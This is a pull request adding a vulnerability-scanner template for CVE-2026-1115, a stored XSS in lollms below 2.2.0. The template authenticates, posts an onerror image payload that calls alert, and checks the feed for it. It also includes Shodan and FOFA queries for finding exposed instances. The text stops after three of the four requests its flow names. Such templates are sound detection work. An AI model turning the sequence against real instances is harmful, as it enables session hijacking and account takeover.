Merge pull request #16846 from str4k3r/cve-2026-1115-ecosystem-20260812-v2

Add CVE-2026-1115 lollms authenticated stored XSS

Author: theamanrawat

http/cves/2026/CVE-2026-1115.yaml

@@ -0,0 +1,95 @@
+id: CVE-2026-1115
+
+info:
+  name: parisneo/lollms < 2.2.0 - Authenticated Stored XSS
+  author: str4k3r
+  severity: high
+  description: |
+    parisneo/lollms < 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.
+  impact: |
+    Attackers can execute malicious scripts in user browsers, leading to account takeover, session hijacking, and wormable attacks.
+  remediation: |
+    Update to version 2.2.0 or later.
+  reference:
+    - https://github.com/parisneo/lollms/commit/9767b882dbc893c388a286856beeaead69b8292a
+    - https://huntr.com/bounties/099aa4fe-7165-4337-889c-3fb4f1aa71aa
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-1115
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
+    cvss-score: 9.0
+    cve-id: CVE-2026-1115
+    cwe-id: CWE-79
+  metadata:
+    verified: true
+    max-request: 4
+    vendor: parisneo
+    product: lollms
+    shodan-query: http.title:"LoLLMs"
+    fofa-query: title="LoLLMs"
+  tags: cve,cve2026,lollms,ai,xss,stored,authenticated,intrusive
+
+variables:
+  marker: "{{rand_base(8)}}"
+
+flow: http(1) && http(2) && http(3) && http(4)
+
+http:
+  - raw:
+      - |
+        POST /api/auth/token HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username={{url_encode(username)}}&password={{url_encode(password)}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "access_token")'
+        condition: and
+        internal: true
+
+    extractors:
+      - type: json
+        name: access_token
+        part: body
+        internal: true
+        json:
+          - '.access_token'
+
+  - raw:
+      - |
+        POST /api/social/posts HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Bearer {{access_token}}
+        Content-Type: application/json
+
+        {"content":"CVE20261115{{marker}} <img src=x onerror=alert(document.domain)>","visibility":"public","media":[]}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 201'
+        internal: true
+
+    extractors:
+      - type: json
+        name: post_id
+        part: body
+        internal: true
+        json:
+          - '.id'
+
+  - raw:
+      - |
+        GET /api/social/feed HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Bearer {{access_token}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_all(body, "CVE20261115{{marker}}", "<img src=x onerror=alert(document.domain)>")'
+        condition: and